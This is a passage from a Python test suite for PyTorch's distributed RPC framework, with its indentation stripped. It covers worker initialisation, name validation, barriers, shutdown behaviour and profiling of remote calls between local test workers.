backend=backend,
rank=self.rank,
world_size=self.world_size,
rpc_backend_options=self.rpc_backend_options,
)
@dist_init(setup_rpc=False)
def test_duplicate_name(self):
with self.assertRaisesRegex(RuntimeError, "is not unique"):
store, _, _ = next(
torch.distributed.rendezvous(
self.init_method, rank=self.rank, world_size=self.world_size
)
)
rpc._init_rpc_backend(
backend=self.rpc_backend,
store=store,
name="duplicate_name",
rank=self.rank,
world_size=self.world_size,
rpc_backend_options=self.rpc_backend_options,
)
@dist_init(setup_rpc=False)
def test_duplicate_name_2(self):
with self.assertRaisesRegex(RuntimeError, "is not unique"):
rpc.init_rpc(
name=worker_name(self.rank % (self.world_size - 1)),
backend=self.rpc_backend,
rank=self.rank,
world_size=self.world_size,
rpc_backend_options=self.rpc_backend_options,
)
@dist_init(setup_rpc=False)
def test_reinit(self):
rpc.init_rpc(
name=worker_name(self.rank),
backend=self.rpc_backend,
rank=self.rank,
world_size=self.world_size,
rpc_backend_options=self.rpc_backend_options,
)
initialize_pg(self.file_init_method, self.rank, self.world_size)
# Wait for all init to complete.
dist.barrier()
# TODO: with TCP init, rank 0 raises Address already in use because
# rank 0 is the start daemon and the store is created before checking if
# RPC is already initialized in init_rpc.
if os.environ.get("RPC_INIT_WITH_TCP", None) == "1" and self.rank == 0:
expected_reinit_err = "Address already in use"
else:
expected_reinit_err = "is already initialized"
with self.assertRaisesRegex(RuntimeError, expected_reinit_err):
rpc.init_rpc(
name=worker_name(self.rank),
backend=self.rpc_backend,
rank=self.rank,
world_size=self.world_size,
rpc_backend_options=self.rpc_backend_options,
)
rpc.shutdown()
@dist_init(setup_rpc=False)
def test_pg_init_no_rpc_init(self):
dist.init_process_group(
backend='gloo',
init_method=self.file_init_method,
rank=self.rank,
world_size=self.world_size)
class MyModel(torch.nn.Module):
def __init__(self):
super().__init__()
self.lin = torch.nn.Linear(3, 4)
def forward(self, x):
return self.lin(x)
model = MyModel()
model.train()
model = torch.nn.parallel.DistributedDataParallel(model)
with self.assertRaisesRegex(RuntimeError, 'Current RPC agent is not set! Did you initialize the RPC framework'):
params = []
for param in model.parameters():
params.append(RRef(param))
def test_world_size_one(self):
self._world_size_one(
torch.ones(2, 2),
torch.ones(2, 2)
)
@dist_init(setup_rpc=False)
def test_invalid_names(self):
worker_id = 0
with self.assertRaisesRegex(RuntimeError, "Worker name must match"):
info = WorkerInfo("abc*", worker_id)
with self.assertRaisesRegex(RuntimeError, "Worker name must match"):
info = WorkerInfo(" ", worker_id)
with self.assertRaisesRegex(RuntimeError, "must be non-empty"):
info = WorkerInfo("", worker_id)
# If the number in the message does not match, it is likely that the
# value of MAX_NAME_LEN in RPC WorkerInfo has changed.
with self.assertRaisesRegex(RuntimeError, "shorter than 128"):
info = WorkerInfo("".join(["a" for i in range(500)]), worker_id)
# Test that WorkerInfo can be pickled and sent in RPC call
@dist_init
def test_worker_info_pickle(self):
dst_rank = (self.rank + 1) % self.world_size
worker_info = rpc.api.get_worker_info()
ret = rpc.rpc_sync(worker_name(dst_rank), identity, args=(worker_info,))
self.assertEqual(ret, worker_info)
@dist_init
def test_add(self):
n = self.rank + 1
dst_rank = n % self.world_size
ret = rpc.rpc_sync(
worker_name(dst_rank),
torch.add,
args=(torch.ones(n, n), torch.ones(n, n)),
)
self.assertEqual(ret, torch.ones(n, n) * 2)
@staticmethod
def return_callee_id():
return rpc.get_worker_info().id
@dist_init
def test_int_callee(self):
dst_rank = (self.rank + 1) % self.world_size
ret = rpc.rpc_sync(dst_rank, RpcTest.return_callee_id)
self.assertEqual(ret, dst_rank)
@dist_init
def test_add_with_id(self):
n = self.rank + 1
dst_rank = n % self.world_size
workder_info = rpc.get_worker_info(worker_name(dst_rank))
ret = rpc.rpc_sync(
workder_info, torch.add, args=(torch.ones(n, n), torch.ones(n, n))
)
self.assertEqual(ret, torch.ones(n, n) * 2)
@dist_init
def test_scalar_add(self):
n = self.rank + 1
dst_rank = n % self.world_size
ret = rpc.rpc_sync(
worker_name(dst_rank), torch.add, args=(torch.ones(n, n), n)
)
self.assertEqual(ret, (torch.ones(n, n) + n))
@dist_init
def test_async_add(self):
n = self.rank + 1
dst_rank = n % self.world_size
fut = rpc.rpc_async(
worker_name(dst_rank),
torch.add,
args=(torch.ones(n, n), torch.ones(n, n)),
)
self.assertEqual(fut.wait(), torch.ones(n, n) * 2)
@dist_init
def test_nonzero(self):
n = self.rank + 1
dst_rank = n % self.world_size
x = torch.ones(self.world_size, self.world_size)
x[self.rank][self.rank] = 0
ret = rpc.rpc_sync(worker_name(dst_rank), torch.nonzero, args=(x,))
self.assertEqual(ret, x.nonzero())
@dist_init
def test_multi_rpc(self):
self._multi_rpc(False)
@dist_init
def test_future_wait_twice(self):
dst = worker_name((self.rank + 1) % self.world_size)
futs = []
for i in range(20):
futs.append(rpc.rpc_async(dst, raise_func))
with self.assertRaisesRegex(ValueError, "Expected error"):
torch.futures.wait_all(futs)
for fut in futs:
with self.assertRaisesRegex(ValueError, "Expected error"):
fut.wait()
def _run_uneven_workload(self, f, x, num_repeat=30):
# worker0 drives and waits for worker1 and worker2
# throughout the test.
if self.rank == 0:
self.assertTrue(self.world_size >= 3)
# Phase 1: Only worker1 has workload.
dst = "worker1"
futs = []
for _ in range(num_repeat):
fut = rpc.rpc_async(dst, f, args=(x,))
futs.append(fut)
for fut in torch.futures.collect_all(futs).wait():
self.assertEqual(fut.wait(), 0)
# Phase 2: Only worker2 has workload.
# If join is not correctly implemented,
# worker2 should be closed by now.
dst = "worker2"
futs = []
for _ in range(num_repeat):
fut = rpc.rpc_async(dst, f, args=(x,))
futs.append(fut)
for val in torch.futures.wait_all(futs):
self.assertEqual(val, 0)
@dist_init(setup_rpc=False)
def test_wait_all_workers_timeout(self):
initialize_pg(self.file_init_method, self.rank, self.world_size)
rpc.init_rpc(
name=worker_name(self.rank),
backend=self.rpc_backend,
rank=self.rank,
world_size=self.world_size,
rpc_backend_options=self.rpc_backend_options,
)
og_func = rpc.api._wait_all_workers
def wait_all_workers_sleep(timeout):
try:
rpc.api._all_gather(SlowPickleClass(0.5), timeout=timeout)
except RuntimeError as ex:
raise ex
rpc.api._wait_all_workers = wait_all_workers_sleep
try:
with self.assertRaisesRegex(RuntimeError, ''):
rpc.shutdown(graceful=True, timeout=0.01)
finally:
rpc.api._wait_all_workers = og_func
dist.barrier()
def test_wait_all_workers_dense(self):
self._wait_all_workers(heavy_rpc, torch.ones(100, 100))
def test_wait_all_workers_twice_dense(self):
self._wait_all_workers_twice(heavy_rpc, torch.ones(100, 100))
@dist_init
def test_all_gather(self):
info = rpc.get_worker_info()
results = rpc.api._all_gather(info.id)
expected = {}
for info in rpc._get_current_rpc_agent().get_worker_infos():
expected[info.name] = info.id
self.assertEqual(expected, results)
@dist_init
def test_all_gather_timeout(self):
rpc._set_rpc_timeout(0.1)
if self.rank == 0:
with self.assertRaisesRegex(
RuntimeError,
"timed out in _all_gather after 0\\.10 seconds"
):
rpc.api._all_gather(SlowPickleClass(0.5))
else:
expected_error = self.get_timeout_error_regex()
with self.assertRaisesRegex(RuntimeError, expected_error):
rpc.api._all_gather(SlowPickleClass(0.5))
def _test_barrier_helper(self, info, names, multi_threaded=False):
names = sorted(names)
leader = names[0]
rpc.rpc_sync(leader, _reset_count)
if not multi_threaded and info.name == leader:
self.assertEqual(_rpc_barrier_count, 0)
rpc.api._barrier(names)
rpc.rpc_sync(leader, _increment_count)
rpc.api._barrier(names)
if not multi_threaded and info.name == leader:
self.assertEqual(_rpc_barrier_count, len(names))
@dist_init
def test_rpc_barrier_all(self):
# Test rpc barrier when called with full list of workers
info = rpc.get_worker_info()
all_worker_info = rpc._get_current_rpc_agent().get_worker_infos()
names = [worker.name for worker in all_worker_info]
self._test_barrier_helper(info, names)
@dist_init
def test_rpc_barrier_subset(self):
# Test rpc barrier when processes are called with different subsets of the full list
info = rpc.get_worker_info()
all_worker_info = rpc._get_current_rpc_agent().get_worker_infos()
if info.id % 2:
names = [worker.name for worker in all_worker_info if worker.id % 2]
else:
names = [worker.name for worker in all_worker_info if not worker.id % 2]
self._test_barrier_helper(info, names)
@dist_init
def test_rpc_barrier_partial_subset(self):
# Test rpc barrier when some processes are not involved in the barrier
info = rpc.get_worker_info()
all_worker_info = rpc._get_current_rpc_agent().get_worker_infos()
if info.id % 2:
names = [worker.name for worker in all_worker_info if worker.id % 2]
else:
names = [f"worker{info.id}"]
self._test_barrier_helper(info, names)
@dist_init
def test_rpc_barrier_multithreaded(self):
# This tests validates the implementation of barrier when multiple threads call into it
# We only need to check that it does not hang in this case
info = rpc.get_worker_info()
all_worker_info = rpc._get_current_rpc_agent().get_worker_infos()
names = [worker.name for worker in all_worker_info]
threads = []
for _ in range(3):
th = threading.Thread(target=self._test_barrier_helper, args=(info, names, True))
threads.append(th)
th.start()
for th in threads:
th.join()
@dist_init
def test_graceful_shutdown_with_uneven_workload(self):
"""Test graceful termination."""
self._run_uneven_workload(heavy_rpc, torch.ones(100, 100))
@dist_init(setup_rpc=False)
def test_shutdown_followed_by_rpc(self):
# Initialize RPC.
rpc.init_rpc(
name="worker%d" % self.rank,
backend=self.rpc_backend,
rank=self.rank,
world_size=self.world_size,
rpc_backend_options=self.rpc_backend_options,
)
n = self.rank + 1
dst_rank = n % self.world_size
ret = rpc.rpc_sync(
worker_name(dst_rank),
torch.add,
args=(torch.ones(n, n), torch.ones(n, n)),
)
self.assertEqual(ret, torch.ones(n, n) * 2)
rpc.shutdown()
with self.assertRaisesRegex(RuntimeError, "^RPC has not been initialized"):
rpc.rpc_sync(
worker_name(dst_rank),
torch.add,
args=(torch.ones(n, n), torch.ones(n, n)),
)
@dist_init
def test_expected_src(self):
dst_rank = (self.rank + 1) % self.world_size
expected_src_rank = (self.rank - 1) % self.world_size
ret = rpc.rpc_sync(worker_name(dst_rank), set_value, args=(self.rank,))
value = VALUE_FUTURE.result()
self.assertEqual(value, expected_src_rank)
@dist_init
def test_py_built_in(self):
n = self.rank + 1
dst_rank = n % self.world_size
ret = rpc.rpc_sync(worker_name(dst_rank), min, args=(n, n + 1, n + 2))
self.assertEqual(ret, min(n, n + 1, n + 2))
@dist_init
def test_py_user_defined(self):
n = self.rank + 1
dst_rank = n % self.world_size
ret = rpc.rpc_sync(
worker_name(dst_rank),
my_function,
kwargs={"a": n, "b": n + 1, "c": n + 2},
)
self.assertEqual(ret, my_function(n, n + 1, n + 2))
def test_build_rpc_profiling_key(self):
# Tests that the name that shows up as an Event in profiling RPCs has all
# the necessary information.
for exec_mode in [RPCExecMode.SYNC, RPCExecMode.ASYNC, RPCExecMode.REMOTE]:
rpc_profiling_key = _build_rpc_profiling_key(
exec_mode, "foo", "worker0", "worker1"
)
self.assertIn(exec_mode.value, rpc_profiling_key)
self.assertIn("foo", rpc_profiling_key)
self.assertIn("worker0", rpc_profiling_key)
self.assertIn("worker1", rpc_profiling_key)
def check_profiling_info(self, self_worker_name, dst_worker_name, func, rpc_event, rpc_exec_mode):
self.assertTrue(self_worker_name in rpc_event.name)
self.assertTrue(dst_worker_name in rpc_event.name)
if isinstance(func, torch.jit.ScriptFunction):
self.assertTrue(torch._jit_internal._qualified_name(func) in rpc_event.name)
else:
self.assertTrue(func.__name__ in rpc_event.name)
self.assertTrue(rpc_exec_mode.value in rpc_event.name)
self.assertEqual(rpc_event.count, 1)
@dist_init
def test_profiler_rpc_record_shapes(self):
if self.rank != 1:
return
dst = (self.rank + 1) % self.world_size
dst_worker = worker_name(dst)
t1, t2 = torch.ones(100), torch.ones(100)
with _profile(record_shapes=True) as prof:
rpc.rpc_sync(dst_worker, torch.add, args=(t1, t2))
function_events = prof.function_events
remote_events = [event for event in function_events if event.is_remote]
remote_add_event = [
event for event in remote_events if "aten::add" in event.name
][0]
remote_add_input_shapes = remote_add_event.input_shapes
# Run profiler on equivalent local op and validate shapes are the same.
with _profile(record_shapes=True) as prof:
torch.add(t1, t2)
local_function_events = prof.function_events
local_add_event = [
event for event in local_function_events if "aten::add" in event.name
][0]
local_add_input_shapes = local_add_event.input_shapes
self.assertEqual(remote_add_input_shapes, local_add_input_shapes)
@dist_init
def test_profiler_rpc_memory(self):
if self.rank != 1:
return
dst = (self.rank + 1) % self.world_size
dst_worker = worker_name(dst)
with _profile(profile_memory=True) as p:
fut = rpc.rpc_async(dst_worker, udf_with_torch_ops, args=())
res = fut.wait()
function_events = p.function_events
event_cpu_mem_usages = set(event.cpu_memory_usage for event in function_events)
# if cpu_memory_usage was not propagated over the wire, this set would
# only contain 0 (indicates no memory being profiled)
self.assertNotEqual({0}, event_cpu_mem_usages)
# No memory profiled if profile_memory=False
with _profile(profile_memory=False) as p:
fut = rpc.rpc_async(dst_worker, udf_with_torch_ops, args=())
res = fut.wait()
function_events = p.function_events
event_cpu_mem_usages = set(event.cpu_memory_usage for event in function_events)
self.assertEqual({0}, event_cpu_mem_usages)
@dist_init
def test_profiler_export_trace(self):
if self.rank != 1:
return
dst = (self.rank + 1) % self.world_size
dst_worker = worker_name(dst)
with _profile() as p:
fut = rpc.rpc_async(dst_worker, udf_with_torch_ops, args=())
res = fut.wait()
events = p.function_events
with TemporaryFileName() as fname:
path = fname
p.export_chrome_trace(path)
with open(path) as f:
trace = json.load(f)
event_names = [event['name'] for event in trace]
for expected_event_name in EXPECTED_REMOTE_EVENTS + [RPCExecMode.ASYNC.value]:
event_exists = any([expected_event_name in event_name for event_name in event_names])
self.assertTrue(event_exists)
@dist_init
def test_profiler_rpc_key_names(self):
# tests that remote events are properly prefixed with the RPC profiling key.
if self.rank != 1:
return
# Spawn multiple threads that send RPCs to ensure keys are correctly
# prefixied when there are multiple RPCs being created/in flight at the
# same time.
dst_ranks = [rank for rank in range(0, self.world_size) if rank != self.rank]
def rpc_with_profiling(dst_worker):
with _profile() as prof:
fut = rpc.rpc_async(dst_worker, udf_with_torch_ops, args=())
fut.wait()
events = prof.function_events
remote_event_names = {
event.name: event for event in events if event.is_remote
}
rpc_profiling_key = _build_rpc_profiling_key(
RPCExecMode.ASYNC,
udf_with_torch_ops.__qualname__,
worker_name(self.rank),
dst_worker,
)
remote_event_name_set = set(EXPECTED_REMOTE_EVENTS)
for name, event in remote_event_names.items():
# Ensure that we have the expected key as part of the remote
# event.
self.assertTrue(name.startswith(rpc_profiling_key))
self.assertTrue(event.is_remote)
self.assertTrue(event.node_id == rpc.get_worker_info(dst_worker).id)
# Ensure that the remote event name also contains the operator.
operator_name_substr = name[len(rpc_profiling_key) :]
# Note: we don't assert that every remote event needs to be
# in the above set, the set is just a representative set of
# what we expect to see. The profiler can change and add more
# events, but we should always expect to see this representative
# set.
matching_event = {
remote_event_name
for remote_event_name in remote_event_name_set
if remote_event_name in operator_name_substr
}
remote_event_name_set -= matching_event
# The set should be empty, otherwise its contained elements did
# not show up in the remote profiler output.
self.assertTrue(
remote_event_name_set == set(),
f"Expected {remote_event_name_set} to be included in remote profiler output.",
)
for dst in dst_ranks:
dst_worker = worker_name(dst)
num_parallel_rpcs = 2
with concurrent.futures.ThreadPoolExecutor(
max_workers=num_parallel_rpcs
) as executor:
futs = [
executor.submit(rpc_with_profiling, dst_worker)
for _ in range(num_parallel_rpcs)
]
# Wait for workers to finish test
for fut in futs:
fut.result()
def _run_test_profiler_remote_events_profiled(self):
# Tests that we can successfully invoke the profiler on a remote node,
# and collect the remote events back in the local profiler.
if self.rank != 1:
return
dst_ranks = [rank for rank in range(0, self.world_size) if rank != self.rank]
for dst in dst_ranks:
dst_worker = worker_name(dst)
with _profile() as prof:
fut = rpc.rpc_async(dst_worker, udf_with_torch_ops, args=())
ret = fut.wait()
events = prof.function_events
rpc_event = get_function_event(events, RPCExecMode.ASYNC.value)
self.check_profiling_info(
worker_name(self.rank),
dst_worker,
udf_with_torch_ops,
rpc_event,
RPCExecMode.ASYNC,
)
remote_events = {event.name: event for event in events if event.is_remote}
rpc_profiling_key = _build_rpc_profiling_key(
RPCExecMode.ASYNC,
udf_with_torch_ops.__qualname__,
worker_name(self.rank),
worker_name(dst),
)
for expected_remote_event_name in EXPECTED_REMOTE_EVENTS:
expected_key = rpc_profiling_key + REMOTE_OP_STR + expected_remote_event_name
self.assertTrue(expected_key in remote_events)
remote_event = remote_events[expected_key]
# Remote event should have a node ID corresponding to the worker
# it ran on.
self.assertEqual(remote_event.node_id, dst)
# Validate order remote events show up in profiling output.
def convert_remote_to_local(event_name):
remote_op_key = rpc_profiling_key + REMOTE_OP_STR
return event_name[
event_name.find(remote_op_key)
+ len(remote_op_key) :
]
remote_events_list = [
convert_remote_to_local(event.name)
for event in events
if convert_remote_to_local(event.name) in EXPECTED_REMOTE_EVENTS
]
self.assertEqual(
set(remote_events_list),
set(EXPECTED_REMOTE_EVENTS),
f"Mismatch between profiled events: {set(remote_events_list)} and expected events: {set(EXPECTED_REMOTE_EVENTS)}",
)
@dist_init
def test_profiler_remote_events_profiled(self):
self._run_test_profiler_remote_events_profiled()
@dist_init
def test_profiler_remote_events_profiled_single_threaded(self):
self._run_test_profiler_remote_events_profiled()
def run_profiling_workload(self, dst):
fut = rpc.rpc_async(
worker_name(dst),
torch.mul,
args=(
torch.tensor(1.0, requires_grad=True),
torch.tensor(1.0, requires_grad=True),
),
)
fut.wait()
def _run_rpc_profiling_async_function(self, device="cpu"):
if self.rank != 1:
return
dst1 = worker_name((self.rank + 1) % self.world_size)
dst2 = worker_name((self.rank + 2) % self.world_size)
x = torch.ones(2)
y = torch.ones(2)
with _profile() as prof:
ret = rpc.rpc_async(
dst1, slow_async_add, args=(dst2, x, y, device), timeout=20
)
out = ret.wait()
function_events = prof.function_events
# slow_async_add resulted in an RPC from dst1 -> dst2, so this should be
# recorded.
key_prefix = _build_rpc_profiling_key(
RPCExecMode.ASYNC, slow_async_add.__qualname__, worker_name(self.rank), dst1
)
nested_rpc_key_prefix = _build_rpc_profiling_key(
RPCExecMode.ASYNC, slow_add.__qualname__, dst1, dst2
)
expected_key = key_prefix + REMOTE_OP_STR + nested_rpc_key_prefix
remote_events = [event for event in function_events if event.is_remote]
rpc_remote_event = [
event for event in remote_events if event.name == expected_key
]
self.assertEqual(1, len(rpc_remote_event))
rpc_remote_event = rpc_remote_event[0]
self.assertEqual(rpc_remote_event.node_id, (self.rank + 1) % self.world_size)
# slow_async_add's RPC does an add on dst2, which should be reflected as well.
remote_add_key = (
expected_key + REMOTE_OP_STR + torch.jit._builtins._find_builtin(torch.add)
)
remote_add_event = [
event for event in remote_events if event.name == remote_add_key
]
self.assertEqual(1, len(remote_add_event))
remote_add_event = remote_add_event[0]
# Validate that node_id is dst2.
self.assertEqual(remote_add_event.node_id, (self.rank + 2) % self.world_size)
@dist_init
def test_rpc_profiling_async_function(self):
initialize_pg(self.file_init_method, self.rank, self.world_size)
self._run_rpc_profiling_async_function()
if torch.cuda.is_available():
dist.barrier()
self._run_rpc_profiling_async_function(device="cuda:0")
@dist_init
def test_rpc_profiling_async_function_single_threaded(self):
initialize_pg(self.file_init_method, self.rank, self.world_size)
self._run_rpc_profiling_async_function()
if torch.cuda.is_available():
dist.barrier()
self._run_rpc_profiling_async_function(device="cuda:0")
@dist_init
def test_rpc_profiling_remote_record_function(self):
# test that functions run over RPC with record_function show the expected
# profiled block.
if self.rank != 1:
return
dst_ranks = [i for i in range(self.world_size) if i != self.rank]
for dst_rank in dst_ranks:
dst_worker = worker_name(dst_rank)
with _profile() as prof:
fut = rpc.rpc_async(dst_worker, udf_with_torch_ops, args=(-1, True))
fut.wait()
function_events = prof.function_events
record_function_remote_event = [
evt for evt in function_events if "##forward##" in evt.name
]
self.assertEqual(1, len(record_function_remote_event))
record_function_remote_event = record_function_remote_event[0]
self.assertEqual(record_function_remote_event.node_id, dst_rank)
# cpu_children only returns direct children, so here we get all
# children recursively.
def get_cpu_children(event):
if not event.cpu_children:
return []
cpu_children = event.cpu_children
for e in event.cpu_children:
cpu_children.extend(get_cpu_children(e))
return cpu_children
remote_children = get_cpu_children(record_function_remote_event)
# Get local children and verify parity.
with _profile() as prof:
udf_with_torch_ops(-1, True)
local_function_events = prof.function_events
local_record_function_event = [
evt for evt in local_function_events if "##forward##" in evt.name
][0]
local_children = get_cpu_children(local_record_function_event)
local_children_names = [
evt.name for evt in local_children
]
REMOTE_OP_STR = "#remote_op: "
def convert_remote_to_local(event_name):
remote_op_key = REMOTE_OP_STR
return event_name[
event_name.find(remote_op_key) + len(remote_op_key) :
]
for evt in remote_children:
local_name = convert_remote_to_local(evt.name)
self.assertTrue(local_name in local_children_names)
def validate_profiling_workload(self, dst, prof):
def convert_remote_to_local(event_name):
return event_name[event_name.find(REMOTE_OP_STR) + len(REMOTE_OP_STR) :]
events = prof.function_events
remote_events = {
convert_remote_to_local(event.name): event
for event in events
if event.is_remote
}
self.assertTrue("aten::mul" in remote_events)
remote_mul_event = remote_events["aten::mul"]
self.assertEqual(remote_mul_event.node_id, dst)
self.check_profiling_info(
worker_name(self.rank),
worker_name(dst),
torch.mul,
remote_mul_event,
RPCExecMode.ASYNC,
)
def _run_test_profiler_with_autograd_context(self):
dst = (self.rank + 1) % self.world_size
if self.rank == 1:
# Cases where we can double wrap messages with profiling information and autograd info.
with dist_autograd.context() as context_id:
with _profile() as prof:
self.run_profiling_workload(dst)
self.validate_profiling_workload(dst, prof)
# Ensure that flipped order of ctx managers results in events being
# recorded as expected.
with _profile() as prof:
with dist_autograd.context() as context_id:
self.run_profiling_workload(dst)
self.validate_profiling_workload(dst, prof)
@dist_init
def test_profiler_with_autograd_context_single_threaded(self):
self._run_test_profiler_with_autograd_context()
@dist_init
def test_profiler_with_autograd_context(self):
self._run_test_profiler_with_autograd_context()
def _profiler_test_with_rpc(
self, rpc_exec_mode, func, args, use_record_function=False, dst=None, kineto_profile=False
):
dst = dst if dst is not None else (self.rank + 1) % self.world_size
# only run profiler on rank 1.
p = _profile if not kineto_profile else torch.profiler.profile # kineto
if self.rank == 1:
with p() as prof:
record_function_ctx_mgr = (
contextlib.suppress()
if not use_record_function
else torch.autograd.profiler.record_function(
"foo"
)
)
with record_function_ctx_mgr as rf:
if rpc_exec_mode == RPCExecMode.SYNC:
rpc.rpc_sync(worker_name(dst), func, args=args)
elif rpc_exec_mode == RPCExecMode.ASYNC:
fut = rpc.rpc_async(worker_name(dst), func, args=args)
if kineto_profile:
# Ensure multiple async RPCs don't cause issues.
# Would have raised
# "RuntimeError: Cannot call
# RemoteProfilerManager::setCurrentKey when current
# key is already set." error if RPC profiling was
# not disabled properly for kineto.
fut2 = rpc.rpc_async(worker_name(dst), func, args=args)
fut2.wait()
fut.wait()
else:
self.assertTrue(rpc_exec_mode == RPCExecMode.REMOTE)
rref = rpc.remote(worker_name(dst), func, args=args)
rref.to_here()
# To avoid flakiness, wait for the RRef to be profiled. This
# means that we received the acknowledgement of successful
# creation on the owner and ran the callbacks responsible
# for recording the profiling event.
rref._get_profiling_future().wait()
events = prof.function_events if not kineto_profile else prof.events()
if kineto_profile:
# RPC profiling is disabled so there should be no rpc related
# events.
with self.assertRaises(IndexError):
get_function_event(events, rpc_exec_mode.value)
return
rpc_event = get_function_event(events, rpc_exec_mode.value)
# verify Node ID for this rpc event.
self.assertEqual(rpc_event.node_id, self.rank)
# Ensure recording of remote events.
remote_events = {event for event in events if event.node_id == dst} - {rpc_event}
self.assertGreaterEqual(len(remote_events), 1)
for remote_event in remote_events:
self.assertEqual(remote_event.node_id, dst)
if use_record_function:
scope_event = get_function_event(events, "foo")
# Since RPC call is within the scope, its CPU interval should be
# contained within foo's interval.
self.assertLessEqual(scope_event.time_range.start, rpc_event.time_range.start)
self.assertGreaterEqual(scope_event.time_range.end, rpc_event.time_range.end)
# the sender, dest worker, function run, and type of RPC should all
# be recorded.
self_worker_name = worker_name(self.rank)
dst_worker_name = worker_name(dst)
self.check_profiling_info(self_worker_name, dst_worker_name, func, rpc_event, rpc_exec_mode)
if use_record_function:
# verify order by ensuring that the outer context comes
# before the rpc event.
foo_event_ix = next(i for i, event in enumerate(events) if "foo" in event.name)
rpc_event_idx = next(i for i, event in enumerate(events) if rpc_exec_mode.value in event.name)
self.assertLess(foo_event_ix, rpc_event_idx)
def _run_test_profiler_with_sync_rpc_udf(self):
self._profiler_test_with_rpc(RPCExecMode.SYNC, my_sleep_func, args=(1,))
self._profiler_test_with_rpc(RPCExecMode.SYNC, my_sleep_func, args=(1,),
use_record_function=True)
@dist_init
def test_profiler_with_sync_rpc_udf(self):
self._run_test_profiler_with_sync_rpc_udf()
@dist_init
def test_profiler_with_sync_rpc_udf_single_threaded(self):
self._run_test_profiler_with_sync_rpc_udf()
def _run_test_profiler_with_sync_rpc_builtin(self):
self._profiler_test_with_rpc(
RPCExecMode.SYNC, torch.mul, args=(torch.ones(1), torch.ones(1))
)
self._profiler_test_with_rpc(
RPCExecMode.SYNC, torch.mul, args=(torch.ones(1), torch.ones(1)),
use_record_function=True
)
@dist_init
def test_profiler_with_sync_rpc_builtin(self):
self._run_test_profiler_with_sync_rpc_builtin()
@dist_init
def test_profiler_with_sync_rpc_builtin_single_threaded(self):
self._run_test_profiler_with_sync_rpc_builtin()
def _run_test_profiler_with_async_rpc_udf(self):
self._profiler_test_with_rpc(RPCExecMode.ASYNC, my_sleep_func, args=(1,))
self._profiler_test_with_rpc(RPCExecMode.ASYNC, my_sleep_func, args=(1,),
use_record_function=True)
# Test to ensure that kineto profiler enabled in RPC does not enable
# RPC profiling (it is unsupported) and does not result in issues.
self._profiler_test_with_rpc(
RPCExecMode.ASYNC, my_sleep_func, args=(1,), kineto_profile=True
)
@dist_init
def test_profiler_with_async_rpc_udf(self):
self._run_test_profiler_with_async_rpc_udf()
@dist_init
def test_profiler_with_async_rpc_udf_single_threaded(self):
self._run_test_profiler_with_async_rpc_udf()
def _run_test_profiler_with_async_rpc_builtin(self):
self._profiler_test_with_rpc(
RPCExecMode.ASYNC, torch.mul, args=(torch.ones(1), torch.ones(1))
)
self._profiler_test_with_rpc(
RPCExecMode.ASYNC, torch.mul, args=(torch.ones(1), torch.ones(1)),
use_record_function=True
)
@dist_init
def test_profiler_with_async_rpc_builtin(self):
self._run_test_profiler_with_async_rpc_builtin()
@dist_init
def test_profiler_with_async_rpc_builtin_single_threaded(self):
self._run_test_profiler_with_async_rpc_builtin()
def _run_test_profiler_with_remote_udf(self):
self._profiler_test_with_rpc(RPCExecMode.REMOTE, my_sleep_func, args=(1,))
self._profiler_test_with_rpc(
RPCExecMode.REMOTE, my_sleep_func, args=(1,), use_record_function=True
)
# test remote to self
self._profiler_test_with_rpc(
RPCExecMode.REMOTE, my_sleep_func, args=(1,), dst=self.rank
)
@dist_init
def test_profiler_with_remote_udf(self):
self._run_test_profiler_with_remote_udf()
@dist_init
def test_profiler_with_remote_udf_single_threaded(self):
self._run_test_profiler_with_remote_udf()
def _run_test_profiler_with_remote_builtin(self):
self._profiler_test_with_rpc(
RPCExecMode.REMOTE, torch.mul, args=(torch.ones(1), torch.ones(1))
)
self._profiler_test_with_rpc(
RPCExecMode.REMOTE, torch.mul, args=(torch.ones(1), torch.ones(1)),
use_record_function=True
)
# test remote to self
self._profiler_test_with_rpc(
RPCExecMode.REMOTE,
torch.mul,
args=(torch.ones(1), torch.ones(1)),
dst=self.rank,
)
@dist_init
def test_profiler_with_remote_builtin(self):
self._run_test_profiler_with_remote_builtin()
@dist_init
def test_profiler_with_remote_builtin_single_threaded(self):
self._run_test_profiler_with_remote_builtin()
def _run_test_profiler_with_script_async_rpc(self):
self._profiler_test_with_rpc(
RPCExecMode.ASYNC, my_script_func, args=(torch.tensor(1),)
)
self._profiler_test_with_rpc(
RPCExecMode.ASYNC,
my_script_func,
args=(torch.tensor(1),),
use_record_function=True,
)
@dist_init
def test_profiler_with_script_async_rpc(self):
self._run_test_profiler_with_script_async_rpc()
@dist_init
def test_profiler_with_script_async_rpc_single_threaded(self):
self._run_test_profiler_with_script_async_rpc()
def _run_test_profiler_with_script_sync_rpc(self):
self._profiler_test_with_rpc(
RPCExecMode.SYNC, my_script_func, args=(torch.tensor(1),)
)
self._profiler_test_with_rpc(
RPCExecMode.SYNC,
my_script_func,
args=(torch.tensor(1),),
use_record_function=True,
)
@dist_init
def test_profiler_with_script_sync_rpc(self):
self._run_test_profiler_with_script_sync_rpc()
@dist_init
def test_profiler_with_script_sync_rpc_single_threaded(self):
self._run_test_profiler_with_script_sync_rpc()
def _run_test_profiler_with_script_remote_rpc(self):
self._profiler_test_with_rpc(
RPCExecMode.REMOTE, my_script_func, args=(torch.tensor(1),)
)
self._profiler_test_with_rpc(
RPCExecMode.REMOTE,
my_script_func,
args=(torch.tensor(1),),
use_record_function=True,
)
# test remote to self
self._profiler_test_with_rpc(
RPCExecMode.REMOTE, my_script_func, args=(torch.tensor(1),), dst=self.rank
)
@dist_init
def test_profiler_with_script_remote_rpc(self):
self._run_test_profiler_with_script_remote_rpc()
@dist_init
def test_profiler_with_script_remote_rpc_single_threaded(self):
self._run_test_profiler_with_script_remote_rpc()
def _assert_top_level_events(self, process_global_events, expected_top_level_event_names):
top_level_event_names = []
for thread_local_events in process_global_events:
# Get top-level events from all events happened on a thread.
last_end_time = 0
for event in thread_local_events:
event_name = event.name
time_range = event.time_range
if time_range.start > last_end_time:
top_level_event_names.append(event_name)
last_end_time = time_range.end
top_level_event_names = sorted(top_level_event_names)
expected_top_level_event_names = sorted(expected_top_level_event_names)
self.assertEqual(
top_level_event_names,
expected_top_level_event_names,
f"Expected events {expected_top_level_event_names}, but got {top_level_event_names}",
)
@dist_init
def test_server_process_global_profiler(self):
if self.rank != 0:
return
dst_rank = (self.rank + 1) % self.world_size
dst_worker_name = worker_name(dst_rank)
x = torch.tensor(1)
y = torch.tensor(2)
outer_profile_rref = rpc.remote(dst_worker_name, rpc._server_process_global_profile)
